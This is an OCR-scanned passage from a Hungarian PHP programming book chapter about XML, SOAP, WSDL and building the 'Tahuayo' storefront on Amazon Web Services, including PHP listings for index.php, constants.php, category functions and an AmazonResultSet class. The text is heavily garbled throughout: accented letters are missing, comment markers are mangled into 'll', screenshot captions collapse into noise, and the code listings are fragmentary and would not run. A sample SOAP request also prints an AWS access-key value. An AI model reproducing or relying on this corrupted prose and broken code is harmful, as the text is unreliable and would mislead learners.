Lthatjuk, hogy az els sotban szeteplXML deklarcit leszmtva a dokumentum teljes trzst az ItemLookupResponse elemen bell talljuk. Ezt a dokumentumgykrelemnek ( root element) nevezzk. Vizsgljuk meg kzelebbrl:
<ItemLookupResponse xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23">
nem szksges megrtennk a nvterek mkdst, mgis hasznos lehet, ha tisztban vagyunk a fogalom jelentsvel.Az alap gondolat az, hogy nvtrhez kapcsoljuk az elemek s attribtumok nevt, gy a gyakori nevek nem fognak tkzni akkor sem, amikor klnbz forrsokbl szrmaz dokumentumokkal dolgozunk. Ha szeretnnk tbbet megtudni a nvterekrL olvas suk el a , amespaces inXML Recommendation" (XML nvterekre vonatkoz ajnls) dokumentumot a http:/ /www.w3.org/ N . TR/REC-xml-names/ oldalon! Ha ltalnossgban szeretnnk tbbet megtudni azXML-rl, szmos informciforrsbl tjkozdhatunk.A W3C oldala kivl kiindulsi pont, de tbb szz kivl knyvet s webes oktatanyaget is rtak mr errl a tmrl.Az ZVON.org oldalon nagyszer webes oktatanyagokat tallunk azXML-hez.
Web Services
A Web Services, vagyis webes szolgltatsok az interneten keresztl elrhet alkalmazsfelletek. Ha objektumorientlt fo galmakban gondolkodunk, egy adott Web Service olyan osztlynak tekinthet, amely az interneten keresztl teszi kzz nyil vnos metdusait.A Web Services immr szles krben elterjedt koncepci, s az iparg nagy nevei kzl egyre tbben teszik egyes funkciikat Web Services segtsgvel elrhetv.A Google, azAmazon, az eBay s a PayPal pldul rnind Web Services szolgltatsok szles vlasztkt kinlja. Miutn a fejezetben vgigvesszk az Amazon fellethez illeszked kliens bellts nak folyamatt, igen egyszeren fejleszthetnk kliensfelletet pldul a Google-hoz is. Ehhez a http:/l code.google.com/apis/ oldalon tallunk tovbbi informcit. Tbbfle magprotokollt hasznlunk a tvoli fggvnyhvs mdszerben.A kt legfontosabb kzlk a SOAP s a WSDL.
SOAP
A SOAP olyan, krs s vlasz ltal vezrelt zenerkld protokoll, amely lehetv teszi a klienseknek Web Services szolgl tatsok meghvst, illetve lehetv teszi a kiszolglknak, hogy vlaszoljanak az ilyen krsekre. Minden SOAP zenet, gy a krsek s a vlaszok is egyszerXML dokumentumok.A 33.1 pldakdban azAmazonnak kldhet SOAP krsre ltunk pldt. Ez a krs vltotta ki a 33.1 pldakdban ltottXML-t. 33.2 pldakd:
33
<SOAP-ENV:Envelope> <SOAP-ENV:Body> <m:ItemLookup> <m:Request> <m:AssociateTag>webservices-20</m:AssociateTag> <m:IdType>ASIN</m:IdType> <m:Itemid>0672317842</m:Itemid> <m:AWSAccessKeyid>OXKKZBBJHE7GNBWF2ZG2</m:AWSAccessKeyid> <m:ResponseGroup>Similarities</m:ResponseGroup> <m:ResponseGroup>Small</m:ResponseGroup> </m:Request> </m:ItemLookup> </SOAP-ENV:Body>
A SOAP zenet elszr is deklarlja, hogy XML dokumentummal llunk szemben. Minden SOAP zenetnek SOAP Envelope a gykreleme. Ezen bell talljuk a Body elemet, amely magt a krst tartalmazza. A krs egy ItemLookup, ami pldnkban arra kri azAmazon kiszolgljt, hogy azASIN kd (Amazon.com Standard !tem Number, azaz Amazon.com szabvnyos ttelszm) alapjn keressen ki az adatbzisbl egy adott ttelt.AzAmazon.com adatbzisban minden egyes termkhez ezt az egyedi azonostt rendelik hozz. Az ItemLookup krst tvoli gpen trtn fggvnyhvsknt, elemeit pedig az ennek a fggvnynek tadand para mterekknt kpzelhetjk el.A fenti pldban az IdType elemben tadjuk az,.ASIN" ttket, majd magt azASIN kdot
567
(0672317842) az I temld elemben kldjk el az Amazon kiszolgljnak; ez a kd knyvnk els kiadsra hivatkozik. t kell adnunk mg Amazon partnerkdunkat (Associate ID), amit az Associa teTag elemben tesznk meg; a vlaszok krt tpust (a ResponseGroup elemben); illetve az AWSAccessKeyld-t, ami egy, az Amazon ltal neknk adott fejleszti tokenrtk ( developer token value). Az erre a krdsre kapott vlasz a 33.1 dokumenrumban ltott XML dokumenrurnhoz hasonl- azzal a klnbsggel, hogy SOAP Envelope elem fogja kzre. SOAP hasznlata esetn- programozsi nyelvtl fggetlenl- ltalban programozssal, egy SOAP knyvtrat hasznl va lltjuk el a SOAP krseket, s rtelmezzk az azokra rkez vlaszokat. Ez azrt elnys, mert megkiml bennnket a SOAP krsek sajt kez ltrehozsrl, illetve a vlaszok hasonlkppeni rtelmezstL
WSDL
A WSDL a Web Services Description Language (webszolgltats-ler nyelv) rvidtse. (Gyakran.,vizdl"-nek ejtik.) A nyelv arra szolgl, hogy lerjuk vele az adott weboldalon elrhet szolgltatsokhoz tartoz felletet. Ha szeretnnk ltni a fe jezetben hasznlt Amazon Web Services szolgltatsokat ler W DSL dokumenrumot, a http:llecs.amazonaws.coml AWSECommerceServicelAWSECommerceService.wsdl oldalon talljuk meg. Ha rkaetinrunk erre a hivatkozsra, ltjuk, hogy a WSDL dokumenrumok sokkal sszetettebbek, mint a SOAP zenetek. ppen ezrt, ha egy md van r, rninden esetben programozssal fogjuk ellltani s rtelmezni azokat. Ha szeretnnk tbbet megrudni a WSDL-rl, olvassunk bele a http:llwww.w3.orgiTR/wsdl201 oldalon elrhet W3C ajnlsba!
A megolds alkotelemei
A projekthez fejlesztend megolds tbb elembl ll. A nyilvnvalan szksges alkotelemeken- pldul a ltogatink sz mra kialakitand kosrfunkcikon, illetve az Amazonhoz REST vagy SOAP segtsgvel val kapcsolds kdjn - tl n hny segdalkalmazsra is szksgnk lesz. Kdunknak rtelmeznie kell a visszakapott XML dokumenrumokat ahhoz, hogy kinyerjk bellk a kosr ltal megjelentett informcikat. Az Amazon elvrja, illetve alkalmazsunk teljestmnyt is nveli a gyorsttrazs. Mivel a vsrls vgn a fizets az Amazonnl trtnik, valarnilyen mdon t kell adni a vsrli kosr tartal mt az Amazonnak, illetve magt a vsrlt is t kell adnunk az Amazon szolgltatsnak. Rendszernk megjelentsi (front end) rtegben nyilvnvalan ltre kell hozni a kosr funkcit . Ezt a Kosr funkci prog ramozsa cm 28. fejezetben mr megrettk. Mivel projektnk kzppontjban nem az online vsrls ll, ebben a fejezetben egy leegyszerstett alkalmazst fogunk hasznlni. Pusztn alapszint kosrra van szksgnk, ami kpes nyomon kvetni, hogy rnit vlasztott ki a vsrl, majd fizetskor kzli ezt az Amazonnal.
Az Amazon Web Services fellet hasznlata
33
Az Amazon Web Services fellet hasznlathoz regisztrlnunk kell a http:llaws.amazon.com oldalon, ahol fejleszti tokent kapunk. Ez a token azonost bennnket az Amazonnl, amikor krseink berkeznek. rdemes lehet Amazon partnerazonostt (Associate ID) is ignyelni, mert gy jutharunk hozz a jutalkhoz, amit a ltoga tk ltal felletnkn keresztl vsrolt termkek utn fizet az Amazon. Az Amazon Web Services (AWS) Resource Center for Developers (Amazon webszolgltatsok informcis kzpontja fejlesztknek), amit a http:ll developer.amazonwebservices.coml oldalon rnk el, rengeteg dokumentcit, oktatanyagat s mintakdot kinl, amelyek mind az Amazon Web Services szolgltatsokhoz val kapcsaldst segtik. A fejezetben szerepl pldn vgigmenve mkd rendszert fejlesztnk, s megismerkednk az AWS-hez kapcsolds s az informcilekrs alap jaival, de ha szeretnnk az itt bemutatott alkalmazsbl kiindulva les weboldalt fejleszteni, akkor sznjunk nmi idt a do kumentci alaposabb megismersre! Pldul sokfle elemet kereshetnk s nyerhetnk ki a tallz- s a keresinterfszek segtsgve!. Attl fggen, hogy milyen elemekre van szksgnk, a visszakapott adatok klnbz struktrjak lehetnek. Minden informci dokumentlva van a weboldalrl elrhet AWS Developer Guide-ban.
568
33. fejezet
A fejleszti token ignylse rdekben trtn regisztrcinl el kell fogadni a licencszerzdst. rdemes elolvasni, mert ez nem teljesen olyan, mint a megszekott - s soha el nem olvasott- szoftverlicencek. A fejleszts szempontjbl fontos licencfel ttelek a kvetkezk: Msodpercenknt legfeljebb egy krst intzhetnk. Gyorsttraznunk kell az Amazontl rkez adatokat.
Az adatok tbbsgt 24 rig, egyes lland attribrumokat legfeljebb hrom hnapig tartharunk a gyorsttrban. Ha egy rnl hosszabb idre gyorsttrazzuk az rakat s a termkek elrhetsgt, akkor nyilatkozatot kell kzzten nnk felelssgnk korltozsrl. Hivatkozsainknak az Amazon.com megfelel oldalra kell mutamiuk, s nem szabad az Amazon oldalrl letlttt szveget vagy kpeket ms zleti weboldalon megjelenteni.
Ha ilyen nehezen kibetzhet domainnevet vlaszrunk, nem reklmozzuk magunkat, s semmilyen nyilvnval ok nincs arra, hogy a ltogatk a Tahuayo.com oldalt hasznljk ahelyett, hogy kzveclenl az Amazon.com-ra mennnek, akkor egyl taln nem kell aggdnunk azon, hogy a krsek szmt msodpercenknt egy alatt tartsuk. Projektnkben gyorsttrazst alkalmazunk annak rdekben, hogy megfeleljnk a 2-4. pontban megfogalmazott kvetel mnyeknek. Alkalmazsunk 24 rig trolja gyorsttrban a kpeket, a termkadatokat (gy az rakat s a kszletinformci kat) pedig egy rig troljuk el itt. A ltrehozand alkalmazsunk az tdik pontnak is megfelel. Azt szeremnk, hogy a foldalon lv elemek weboldalunk rszletes termkoldalaira mutassanak, de ha a vsrl vgzett a megrendelssel, tkldjk t az Amazon oldalra.
33
Gyorsttrazs
Korbban mr emltettk, hogy az Amazon felttelei kztt szerepel az is, hogy az Amazonrl a Web Services szolgltatsok kal letlttt adatokat gyorsttrazni kell. Projektnkben ezrt megoldst kell tallni arra, hogy a letlttt adatokat rvnyess gi idejkig a gyorsttrban eltroljuk, illetve a gyorsttrbl hasznljuk azokat.
A megolds ttekintse
A 29. s a 30. fejezet projektjhez hasonlan itt is esemnyvezrelt megkzeltssel futtatjuk a kdot. Ennl a projektnl elte kintettnk a rendszer folyamatbrjnak megrajzolstl, mert pusztn nhny kpernybl ll a rendszer, s egyszer kapcso lat ll fenn ezek kztt. A felhasznlk elszr a Tahuayo foldalt ltjk, amit a 33.1 bra mutat.
569
c::::J
._, t..-
a kategrik kztti naviglst, a keresst s a kosarat. Lthatjuk, hogy az oldal fbb funkcii a Selected Caregories (Kivlas:;tott kategrik), illetve az azokba tarto:; termkek megjelentse. A nyitoldalon alaprtelmezsben az ismeretterjes:;t irodalom kategria pillanatnyilag legjobban fogy kiadv nyait tallj uk. Ha a felhas:;nl msik kategrira kattint, annak a kategrinak a hasonl oldalt lthatja megjelenni. Mieltt tovbbmennnk, ris:;thnunk kell egy fontos fogalmat. A:; Amazon bngszs i csompontnak (browse node) nevezi a kategrikat. Kdunkban s a hivatalos dokumenrumban soks:;or tallko:;hatunk e:;:;el a kifejezssel. A dokumentciban megtalljuk a nps:;er bngszsi csompontok listjt. Ha ezen tlmenen adott kategrira lenne siksgnk, bngs:; s:;nk a s:;oksos Amazon.com oldalon, s olvassuk be az URL-bl, vagy pedig has:;nljuk a http://www.browsenodes.com/ oldalon elrhet Browse Nodes forrst! Elg idegest mdon nhny fontos kategrit, k:;tk pldul a sikerlists knyveket nem lehet bngssi csompontknt elrni. A:; oldal aljn tovbbi knyveket s ms oldalakra mutat hivatkosokat tallunk, de e:;ek a kpernymentsen nem ltha tk. Minden oldalon 10 knyvet fogjunk megjelenteni, illetve legfeljebb 30, msik oldalra mutat hivatkost. A2: oldalanknti tzes rtket az Ama:;on hatro:;ta meg. az oldalanknti harmincas korltot pedig rni magunk vlas:;tottuk. A felhas:;nlk innen az egyes knyvek rs:;letes adatait megjelent oldalakra mehemek. Ilyen kpernyt lthatunk a 33.2 brn.
._-_....., ,.._.... --..... .
com ...
....1 .. ,
Sdeaed CMegori6
t::::J '
-
33
'
t.J.tpda<IIJ.00SAW$7.H !S&M.I4!Cl\H"
........... ) 0.."*-:n.
a..
.".__ *****
..... u ..-,.t..oWl4-
!!:o.,IW!wsDw"'*'tlMWmMQeele!!'t+IM:t.l!ppiiJW.
"'KoioJJo:Jon.
33.2 bra: A rszletes termkoldalakon tovbbi informcikat kapunk egy adott knyvrl, rtkelseket olvashatunk rla,
illetve hasonl kiadvnyokat tallunk itt. Br a kpernymentsre nem frt r, a kd az Amazon ltal kldtt informcik tlnyom rs:;t megjelenti az oldalon.
gy dntttnk, hogy oldalunkon csak a knyvekkel foglalko:;unk, s nem jelentjk meg a:;on kategrik listjt sem, ame
lyekbe az adott kiadvny nem illik bele. Ha a felhas:;nl egy bort kpre kattint, nagyobb mretben lthatja. Taln s:;revettk mr az brkon a kperny fels rsn lv keressi me:;t. E:;:;el a funkcival kulcss:;avas keresst indt hatunk az oldalon, amely a Web Services felleten keres:;tl fog az Amazon katalgusban keresni. A 33.3 bra a keress egy mintaeredmnyt mutatja.
570
33.fezet
33.3 bra: A kpernyn a batman szra keress eredmnyt ltjuk. Annak ellenre, hogy projektnkben csak nhny kategrit listzunk ki, a felhasznlk a keressi funkcival s az adott knyvekre naviglva brmelyik kiadvnyhoz eljuthatnak. Minden egyes knyvhz tartozik egy .Add to Cart" (Kosrba) hi vatkozs. Ha a felhasznl erre vagy a kosr.,Details" (Rszletek) linkjre kattint, akkor megjelenti a kosr tartalmr. Ezt az oldalt ltjuk a 33.4 brn.
33
33.4 bra: A kosr oldaln a vsrl egyenknt trlheti a kosrban lv tteleket, kirtheti kosart, illetve fizethet. Vgl, amikor a vsrl a.,Checkout" (Fizets) hivatkozsra kattintva fizetni kszl, kosarnak adatait elkldjk az Amazon ra, s t is tirnytjuk oda. Ekkor a 33.5 brn lthathoz hasonlhoz kpernyvel tallkozik. Most mr taln mindenki ltja, hogy mit rtnk az alatt, hogy elksztjk sajt felhasznli felletnket, s az Amazon oldalt hasznljuk mgttes infrastrukrraknr. Mivel ez a projekt is esemnyvezrelt megkzeltst kvet, az alkalmazs dnrshoz logikjnak nagy rsze egyeden fJlban tallhat tartalmazza.
571
33.5 bra: Mieltt az Amazon kosarba kerlnek a termkek, a rendszer visszaigazolja a tranzakcit, s a Tahuayo kosarbl mutaga az sszes kivlasztott ttelt. 33.1 tblzat: A Tahuayo alkalmazs fjljai
Fjlnv
index.php about.php constants.php topbar.php
Tpus
Lers
Alkalmazs Alkalmazs Beillesztett fjl Beillesztett fjl Beillesztett fjl Osztlyfjl Osztlyfjl Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek
Az alkalmazs magjt alkot kdot tartalmaz fjl Az About (Rlunk) oldalt jelenti meg A globlis llandk s vltozk egy rszt lltja be Az egyes oldalak tetejn lthat informcis svot s a CSS-t hozza ltre Az egyes oldalak aljn lv lblcet lltja el Az egyes Amazon-Iekrdezsek eredmnyt trol PHP osztlyt tartalmazza Az egyes knyvek adatait tartalmaz PHP osztlyt tartal mazza Az egyes knyvek s knyvlistk megjelentst lehetv tev fggvnyeket tartalmazza Az Amazon ltal megkvetelt gyorsttrazs vgrehajts hoz szksges fggvnyeket tartalmazza A kosr funkcihoz kapcsold fggvnyeket tartalmazza A kategrik visszakeresst s megjelentst segt fggv nyeket tartalmazza Az alkalmazs klnbz pontjain hasznlt segdfggvnye ket tartalmazza
bottom.php AmazonResultSet.php
Product.php
bookdisplayfunctions.php
cachefunctions.php
33
cartfunctions.php categoryfunctions.php
utilityfunctions.php
A korbban mr emltett nusoap.php fjlrl sem szabad elfeledkeznnk, mert ezekben a fjlokban szksgnk lesz r. A NuSOAP a knyv letlthet mellkletnek 33_fej ezet mappjban tallhat, de ha idkzben megjelent mr j verzi ja, a http:/ l sourceforge.net/ projects/ nusoap/ oldalrl letlthetjk. Vgjunk bele a projekebe az alkalmazs gerinct kpez index.php rtanulmnyozsval!
Az alkalmazs magja
Az index.php fjl kcljt a 33.3 pldakdban talljuk.
572
33. fejezet
llEzeket a vltozkat kvlrl vrjuk. llEllenrizzk, majd globlis vltozkra konvertljuk ket
$external = array('action', 'ASIN', 'made', 'browseNode', 'page', 'search') ;
ll a vltozk Get vagy Post mdszerrel rkezhetnek ll alaktsuk t az sszes vrt kls vltoznkat rvid globlis nevekre!
foreach ($external as $e) if(@$_REQ ST[$e]) l U E $$e = $_REQ ST[$e]; E U else
$$e = '';
$$e
trim($$e);
33
$made = 'Books';
intval($browseNode);
573
ll de az albbi kdrsz pusztn arrl szl, ll hogy a $search vltozt megszabadtjuk a nem kvn rtkektl $search = safeString($search);
ll a fels sv megjelenitse eltt vgrehajtand feladatok if($action == 'addtocart') addToCart($_SESSION['cart'], $ASIN, $mode);
ll fels sv megjelenitse require_once ('topbar.php'); ll f esemnyhurok. A felhasznl ltal vgrehajtott mveletre vlaszol switch ($action) case 'detail': showCategories($mode); showDetail($ASIN, break; $mode);
case 'addtocart': case 'deletefromcart': case 'emptycart': case 'showeart': echo "<hr l><hl>Your Shopping Cart<lhl>"; showCart($_SESSION['cart'], break; case 'image': showCategories($mode); echo "<hl>Large Product Image< lhl>"; showimage($ASIN, $mode); break; case 'search' : showCategories($mode); echo "<hl>Search Results For ".$search."<lhl>"; showSearch($search, break; case 'browsenode': default: showCategories($mode); $page, $mode); $mode);
574
33. fejezet
l l
echo "<hl>Current Best Sellers<lhl>"; else echo "<hl>Current Best Sellers in ".$category."<lhl>";
showBrowseNode($browseNode, break;
$page,
$mode) ;
Nzzk vgig ezt a fjlt! Elszr is ltrehozunk egy munkamenetet (session). A korbbiakhoz hasonlan irt is munkamenet vltozknt troljuk a vsrl kosart. Ezt kveten tbb fjlt is beillesztnk. Tbbsgk ksbbiekben bemutatand fggvny, de az elsknt beillesztert fjllal rdemes most kln foglalkoznunk. Ez a constants.ph p nhny fontos llandt s vltozt defi nil, olyanokat, amiket az egsz alkalmazsban hasznlni fogunk. A constants.php tartalmt a 33.4 pldakdban talljuk.
33.4 pldakd: constants.php -A fbb globlis llandk s vltozk deklarlsa
<?php ll az alkalmazs REST (XML over HTTP) vagy SOAP ll definiljuk a kivlasztott mdszert! ll de fine('METHOD', define( 'METHOD', 'SOAP'); segtsgvel kapcsoldhat
'REST');
s tegyk rhatv!
define('ASSOCIATEID', define('DEVTAG',
'XXXXXXXXXXXXXX');
'XXXXXXXXXXXXXX');
ll hibt ad,
if(DEVTAG=='XXXXXXXXXXXXXX')
33
die ("You need to sign up for an Amazon.com developer tag at <a href=\"https:llaws.amazon.comi\">Amazon<la> when you install this software. You should probably sign up
ll Amazon bngszsi csompontok (rszleges) listja $categoryList = array(S=>'Computers & Internet', 295223=>'PHP', 3510=>'Web Development',
75=>'Science',
Wine',
27=>'Travel',
Az alkalmazst gy hoztuk ltre, hogy REST tvitellel s SOAP protokollal egyarnt hasznlhat legyen. A kt mdszer kzte gy vlaszthatunk, hogy a megfelel rtket lltjuk be a METHOD llandban. A CACHE konstans az Amazonrl letlttt adatok gyorsttrnak elrsi tvonalt trolja. Adjuk meg irt a rendszernkn hasznlni kvnt elrsi tvonalat! Az ASSOCIATEID lland Amazon partnerazonostnkat tartalmazza. Ha a tranzakcikkal egytt ezt is elkldjk az Amazonnak, jutalkot kaphatunk. Ne felejtsk el a kdba berni sajt partnerazonostnkat l
575
A EVTAG konstans az Amazon ltal regisztrcinkkor adott fejleszti token rtkt trolja. Mdostsuk a kdot sajt D tokennk rtknek megfelelen, klnben az alkalmazs nem fog mkdni! Tokene gy ignyelhetnk, ha regsztrlunk az http:/ /aws.amazon.com oldalon. Trjnk most vissza az index. php fjlhoz! A kd az elkszletek utn a f esemnyhurkot tartalmazza. Azzal indul, hogy kinyerjk a$_REQ ST szupergloblis vltozha GET vagy POST mdszerrel rkez vltozkat. Ezt kveten bellt U E juk egyes globlis vltozk rtkr; ezek a vltozk fogjk a ksbbiekben meghatrozni a megjelenirend tartalmat:
ll alaprtelmezett rtkek a globlis vltozknak
if($mode==
'
')
$mode = 'Books';
//az
53
$page = l;
A mode vltoz rtkt Books-ra lltjuk. Az Amazon tbb ms mdot (vagyis termktpust) tmogat, de ebben az alkal mazsban csak a knyvekkel foglalkozunk. A fejezet kdjt egyszeren mdosthatnnk gy, hogy ms termkkategrikat is kezelni tudjon. Ennek els lpse a $mode vltoz rtknek megvltoztatsa lenne. Ellenriznnk kellene az Amazon dokumentcijban, hogy a knyvtl eltr termkek esetn rnilyen ms attribtumokat kapunk vissza, s el kellene tvoltani a felhasznli felletrl a knyvspecifikus elemeket. A browseNode vltoz hatrozza meg a megjelenteni kvnt knyvka tegrikat. A vltoz rtkt bellthatja a felhasznl, amikor a kvlasztott kategrik valamelyik hivatkozsra kattint. Mi magunk 53-ra lltjuk a vltoz alaprtelmezett rtkr, hogy kezelni tudjuk az olyan helyzeteket, arnikor a felhasznl mg nem vlasztott kategrit - pldul, mert mg csak most nyitotta meg weboldalunkat. Az Amazon bngszsi csompontjai egyszer egsz szmok, amelyek egy-egy kategrit azonostanak. Az 53-as rtk a Non-Fiction Books, vagyis az ismeretter jeszt kategrit jelkpezi. Ez legalbb annyira alkalmas a nyitoldalon val megjelentsre, mint brmely msik kategria, hiszen a taln legjobb ltalnos kategrik (kztk pldul a sikerlists knyvek) nem rhetk el bngszsi csompontknt. A page vltoz kzli az Amazonnal, hogy az adott kategrin bell a tallatok mely rszhalmazt kvnjuk megjelenteni. Az l. oldal az 1-10. tallatokat, a 2. oldal a 11-20. tallatokat tartalmazza, s gy tovbb. Az egy oldalon megjeleniehet kny vek szmt az Amazon hatrozza meg, ezt az rtket nem ll mdunkban megvltoztatni. Azt termszetesen megrehetnnk, hogy oldalainkon kt vagy tbb Amazon oldalnyi adatot jelentnk meg, de az oldalanknt tz knyv egyrszt sszer mennyi sg, msrszt felesleges lenne megnehezteni sajt dolgunkat. Ezt kveten megtiszttjuk az esetlegesen a keressi mezben vagy a ET vagy POST paramter ltal kapott beviteli rtkeket: G
ll beviteli adat ellenrzse/megtiszttsa
if(!eregi(
'A
[A-Z0-9] +$',
$ASIN))
33
$page=intval($page); $browseNode
intval($browseNode);
llEls pillantsra taln kevss rthet, ll de az albbi kdrsz pusztn arrl szl, ll hogy a $search vltozt megszabadtjuk a nem kvn rtkektl
$search = safeString($search);
Semmi jdonsg nincsen a fenti kdrszletben. AsafeString () fggvnyt a utilityfunctions. php fjlban tall juk. Egyszeren az a feladata, hogy regulris kifejezs segtsgvel eltvoltsa a beviteli karakterlncokbl a nem alfanumerikus karaktereket. Mivel ezzel a tmval korbban mr rszletesen foglalkoztunk, a fggvny kdjt itt s most nem kzljk. A legfbb oka annak, hogy alkalmazsunkban ellenriznnk kell a felhasznl ltal bevitt szveget, az, hogy az ilyen bevitele a gyorsttrban hasznlt fjlnevek ltrehozsra fogjuk felhasznlni. Komoly problmkba futhatnnk bele, ha a felhasznlk .. vagy l karaktert hasznlhatnnak az ltaluk bevitt adatokban.
576
33. fejezet
Mg mindig vr rnk nhny feladat, mieltt megjelenthetnnk az oldal tetejn lv informcis svban szerepl adatokat (a 33.1 brra visszalapozva felidzhetjk, hogyan nz ki ez a sv). Minden oldal fels svjban megjelenik a kosr, ezrt fontos, hogy az informcis sv megjelentse eltt naprakssz tegyk a kosr vltozjt:
ll a fels sv megjelenitse eltt vgrehajtand feladatok if{$action == 'addtocart') { addToCart{$ SESSION['cart'], if{$action == 'deletefromcart') $ASIN, $mode);
{
$ASIN);
= array{);
Ezzel a kddal szksg esetn knyveket adhatunk a kosrhoz, illetve trlhetnk belle, mieltt megjelentennk azt. Ksbb mg visszatrnk ezekre a fggvnyekre, amikor a kosr s a fizets mkdst mutatjuk be. Ha szeretnnk most meg vizsglni, a cartfunctions.php fjlban talljuk ket. Egyelre azonban nem foglalkozunk velk, mert elszr az Amazon hoz kapcsold felletet kell megrtennk. Ezt kveten beillesztjk a topbar. php fjlt, ami HTML kdot, egy stluslapot s a cartfunctions.php fjlban lv
ShowSmallCart{ ) fggvny hvst tartalmazza. Ez utbbi jelenti meg a kosr tartalmt sszefoglal adatokat, amelyeket az
brk jobb fels sarkban tallunk. A kosr funkeit megvalst fggvnyek trgyalsakor mg visszatrnk erre a fggvnyre. Vgl elrtnk a f esemnykezel h urokhoz. A lehetsges mveleteket a 33.2 tblzatban talljuk.
3 3.2 tblzat: A J esemnyhurok Mvelet
browsenode detail image search addtocart deletefromcart emptycart showeart
lehetsges mveletei
Lers
Az adott kategriba tartoz knyveket jelenti meg. Ez az alaprtelmezett mvelet. A kivlasztott knyv rszletes adatait jelenti meg. A knyv bortjnak nagyobb vltozatt jelenti meg. A felhasznl ltal vgrehajtott keress eredmnyt jelenti meg. Hozzad egy ttelt a felhasznl kosarhoz. Trl egy ttelt a felhasznl kosarbl. Teljesen kirti a kosarat. Megjelenti a kosr tartalmr.
A fenti tblzatban szerepl els ngy mvelet az Amazontl szrmaz adatok visszakeressvel s megjelentsvel kapcso latos, a msodik ngy pedig a kosr kezelsvel foglalkozik.
Az Amazontl adatot visszakeres mveletek mind hasonlkppen mkdnek. Nzzk meg pldaknt, hogyan lehet egy
577
A showCategories () fuggvny a kivlasztott kategrik listjt jelenti meg, amely listt az oldalak tbbsgnl azok fels rszn lthatjuk. A getCategoryName () fuggvny a neki radott browsenode rtk alapjn az adott kategria nevt adja vissza. A showBrowseNode () fuggvny az abban a kategriban tallhat knyvekbl jelent meg egy oldalnyit. Vizsgljuk meg legelszr a showCategories() fuggvnyt! Kdjt a 33.5 pldakdban talljuk.
33.5 pldakd: A categoryfunctions. phpknyvtr showCategories ()fggvnye- A kivlasztott kategrik listja
ll npszer kategrik listjnak megjelenitse function showCategories($mode) { global $categoryList; echo "<hrl><h2>Selected Categories<lh2>"; if($mode == 'Books')
asort($categoryList); Seategories = count($categoryList); $columns = 4; $rows = ceil($categoriesl$columns); echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tr>"; reset($categoryList); for($col = 0; $col<$columns; $row<$rows; $col++) $row++)
{ {
each($categoryList);
if($category)
$browseNode = $category['key'); $name = $category['value'); echo "<li><span class=\"category\"> <a href=\"index.php?action=browsenode&browseNode=".$browseNode."\">" .$name."<la><lspan><lli>";
A fuggvny a categoryList nev, a constants.php fjlban deklarlt tmbbel llaptja meg a browsenode szmok hoz tartoz kategrianeveket. A hasznlni kvnt kategrikat egyszeren begpeltk ebbe a tmbbe. A fuggvny rendezi a tmbt, s megjelenti a klnbz kategrikat. A f esemnyhurokban kvetkeznek meghvott getCa tegoryName() fuggvny kikeresi az aktulisan megtekintett
browsenode nevt. Erre azrt van szksg, hogy megjelentsle a kpernyn a cmsort, pldul: Current Best Sellers
in Business & Investing (Az ..zlet s befektets" kategria jelenlegi sikerlists knyvei). A fuggvny az imnt emltett
categoryList tmbbl keresi ki a nevet.
Az igazn izgalmas dolgok akkor kezddnek, amikor a 33.6 pldakdban lthat showBrowseNode() fuggvnyhez rnk.
578
33 fezet .
{
'page' => $page,
array('browsenode'=>$browseNode,
A showBrowseNode(} fggvny egs:z:en pontosan kt dolgot tes:z;. Els:z:r is meghvja a cachefunctions. php knyv tr getARS(} fggvnyt, amely ArnazonResult Set objektumot fogad s ad viss:z:a (a kvetke:z: rs:z;ben bvebben tte kintjk e:z:t a fggvnyt). E:z:utn meghvja a bookdi splayfunctions. php knyvtr showSummary (} fggvnyt, hogy megjelentse a viss:z:akeresett informcikat.
A:z: egs:z: alkalma:z:s mkdsnek htterben a getARS(} fggvny ll. Ha vgign:z::z;k a tbbi mvelet- a rs:z:letes
knyvadatok megtekintse, a kpek megjelentse s a keress- kdjt, ltni fogjuk, hogy mindenhol e:z::z:el a fggvnnyel tall ko:z:unk.
$cache = cached($type,
if ($cache}
33
if($type == 'browse'}
{
$parameters['page'],
$ars->browseNodeSearch($parameters['browsenode'], $parameters['mode']};
if($type == 'search'}
{
$parameters['page'],
$ars->keywordSearch($parameters['search'], $parameters['mode']};
cache($type,
$parameters,
$ars};
return $ars;
A fggvny feladata, hogy bes:z:ere:z;:z;e a:z; Ama:z:onrl s:z:rma:z: adatokat. Ktflekppen teheti ezt meg: gyorsttrbl vagy k:z:veclenl a:z; Ama:z:onrl. Mivel a:z; Ama:z:on megkveteli a fejles:z:tktl a letlttt adatok gyorsttra:z:st, a fggvny elszr a gyorsttrban keres. A gyorsttrrl rvidesen rs:z:letesebben is s:z: esik majd.
579
Ha az adott lekrdezst mg nem hajtottuk vgre, az adatokat lben kell lekrni az AmazonrL Ezt gy tehetjk meg. hogy ltrehozzuk az AmazonResultSet osztly egy pldnyt, majd meghvjuk rajta a futtatni kvnt lekrdezsnek megfelel metdust. A lekrdezs tpust a $type paramterben hatrozzuk meg. Ha pldul adott kategriban (vagyis bngszsi csompontban) keresnk, a browse rtket adjuk t a paramterben (lsd a 33.6 pldakdot!). Ha adott knyvre vonatkoz keresst kvnunk vgrehajtani, asin lesz a paramter rtke, ha pedig kulcsszavas keresst akarunk folytatni, search-re kell lltani a paramtert. Mindegyik paramter ms s ms metdust hv meg az AmazonResult Set osztlyon. Ha adott knyvre keresnk, az
ASINSearch () metdust hvjuk meg. Kategriban keresskor a browseNodeSearch(), kulcsszavas keress esetn pedig
a keywordSearch () metdus hvdik meg. Vizsgljuk meg kzelebbrl az AmazonResultSet osztlyt! Teljes kdjt a 33.8 pldakdban olvashatjuk.
33.8 pldakd: AmazonResult Set.php
<?php
ll ezzel a constants.php fjlban belltott llandval vlthatunk a ll REST s SOAP mdszer kztt
if(METHOD=='SOAP')
include once('nusoaplliblnusoap.php');
ll Ez az osztly trolja a lekrdezsek eredmnyt, ll ami ltalban a Product osztly l vagy 10 pldnya
class AmazonResultSet private $browseNode; private $page; private $mode; private $url; private $type; private $tota1Results; private $currentProduct = null; private $products = array(); function products() return $this->products;
33
return false;
ll A lekrdezs vgrehajtsval a kategria termkeivel teli oldalt kapunk vissza ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt ll Product objektumok tmbjt adja vissza
function browseNodeSearch($browseNode, $page, $mode)
$this->Service = "AWSECommerceService";
580
33.fezet
"Large";
